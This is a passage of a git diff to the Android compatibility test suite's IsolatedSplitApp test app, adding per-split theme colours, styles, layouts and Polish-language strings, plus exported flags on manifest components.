-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".FeatureAReceiver">
+        <receiver android:name=".FeatureAReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/drawable/feature_a_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/drawable/feature_a_color_drawable.xml
new file mode 100644
index 0000000..cba22a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/drawable/feature_a_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themePrimaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/layout/feature_a_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/layout/feature_a_textview.xml
new file mode 100644
index 0000000..fdc22fb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/layout/feature_a_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_a_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_a_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/colors.xml
new file mode 100644
index 0000000..9fb73b9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/yellow</color>
+    <color name="theme_primary_color">@color/dark_gray</color>
+    <color name="theme_color_background">@color/gray</color>
+    <color name="navigation_bar_color">@color/light_gray</color>
+    <color name="status_bar_color">@color/blue</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
index 2929156..aef6469 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_a_string">Feature A String Polish</string>
+    <string name="theme_name">Feature A Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/attrs.xml
new file mode 100644
index 0000000..efd04b8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themePrimaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/colors.xml
new file mode 100644
index 0000000..dd4e007
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/blue</color>
+    <color name="theme_primary_color">@color/gray</color>
+    <color name="theme_color_background">@color/light_gray</color>
+    <color name="navigation_bar_color">@color/dark_gray</color>
+    <color name="status_bar_color">@color/yellow</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="gray">#ff888888</color>
+    <color name="light_gray">#ff444444</color>
+    <color name="dark_gray">#ffcccccc</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/styles.xml
new file mode 100644
index 0000000..f1d6f91
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_A" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themePrimaryColor">@color/theme_primary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_a_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
index dc1289c..6310ae1 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_a_string">Feature A String Default</string>
+    <string name="theme_name">Feature A Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/drawable/feature_a_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/drawable/feature_a_color_drawable.xml
new file mode 100644
index 0000000..cba22a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/drawable/feature_a_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themePrimaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/layout/feature_a_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/layout/feature_a_textview.xml
new file mode 100644
index 0000000..fdc22fb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/layout/feature_a_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_a_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_a_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/colors.xml
new file mode 100644
index 0000000..c071bb7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/blue</color>
+    <color name="theme_primary_color">@color/yellow</color>
+    <color name="theme_color_background">@color/dark_gray</color>
+    <color name="navigation_bar_color">@color/gray</color>
+    <color name="status_bar_color">@color/light_gray</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/values.xml
new file mode 100644
index 0000000..1caedf6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values-pl/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_a_string">Feature A String Polish Diff Revision</string>
+    <string name="theme_name">Feature A Theme Polish Diff Revision</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/attrs.xml
new file mode 100644
index 0000000..efd04b8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themePrimaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/colors.xml
new file mode 100644
index 0000000..70756b1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/yellow</color>
+    <color name="theme_primary_color">@color/blue</color>
+    <color name="theme_color_background">@color/gray</color>
+    <color name="navigation_bar_color">@color/light_gray</color>
+    <color name="status_bar_color">@color/dark_gray</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="gray">#ff888888</color>
+    <color name="light_gray">#ff444444</color>
+    <color name="dark_gray">#ffcccccc</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/styles.xml
new file mode 100644
index 0000000..f1d6f91
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_A" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themePrimaryColor">@color/theme_primary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_a_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/values.xml
new file mode 100644
index 0000000..a6bdeaa
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res_diffrev/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_a_string">Feature A String Diff Revision</string>
+    <string name="theme_name">Feature A Theme Diff Revision</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
index df06bd9..3a0e961 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
@@ -15,8 +15,18 @@
  */
 package com.android.cts.isolatedsplitapp.feature_a;
 
+import android.os.Bundle;
+import android.widget.LinearLayout;
+
 import com.android.cts.isolatedsplitapp.BaseActivity;
 
 public class FeatureAActivity extends BaseActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
 
+        final LinearLayout linearLayout = findViewById(
+                com.android.cts.isolatedsplitapp.R.id.base_layout);
+        getLayoutInflater().inflate(R.layout.feature_a_textview, linearLayout);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
index bee1a5c..00aaef0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIsolatedSplitAppFeatureB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 8b4f16d..35e924f 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,22 +15,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp.feature_b"
-        featureSplit="feature_b"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp.feature_b"
+     featureSplit="feature_b"
+     android:targetSandboxVersion="2">
 
-    <uses-split android:name="feature_a" />
+    <uses-split android:name="feature_a"/>
 
     <application>
-        <activity android:name=".FeatureBActivity">
+        <activity android:name=".FeatureBActivity" android:theme="@style/Theme_Feature_B"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".FeatureBReceiver">
+        <receiver android:name=".FeatureBReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/drawable/feature_b_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/drawable/feature_b_color_drawable.xml
new file mode 100644
index 0000000..ce4a7a4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/drawable/feature_b_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themeSecondaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/layout/feature_b_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/layout/feature_b_textview.xml
new file mode 100644
index 0000000..42f9207
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/layout/feature_b_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_b_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_b_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/colors.xml
new file mode 100644
index 0000000..2ee94b9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/mintcream</color>
+    <color name="theme_secondary_color">@color/linen</color>
+    <color name="theme_color_background">@color/pink</color>
+    <color name="navigation_bar_color">@color/orange</color>
+    <color name="status_bar_color">@color/purple</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
index fc46307..52d0bd6 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_b_string">Feature B String Polish</string>
+    <string name="theme_name">Feature B Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/attrs.xml
new file mode 100644
index 0000000..c9eae8e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themeSecondaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/colors.xml
new file mode 100644
index 0000000..3f774d8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/purple</color>
+    <color name="theme_secondary_color">@color/pink</color>
+    <color name="theme_color_background">@color/orange</color>
+    <color name="navigation_bar_color">@color/linen</color>
+    <color name="status_bar_color">@color/mintcream</color>
+
+    <color name="purple">#ff800080</color>
+    <color name="pink">#ffffc0cb</color>
+    <color name="orange">#ffffa500</color>
+    <color name="linen">#fffaf0e6</color>
+    <color name="mintcream">#fff5fffa</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/styles.xml
new file mode 100644
index 0000000..230f0eb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
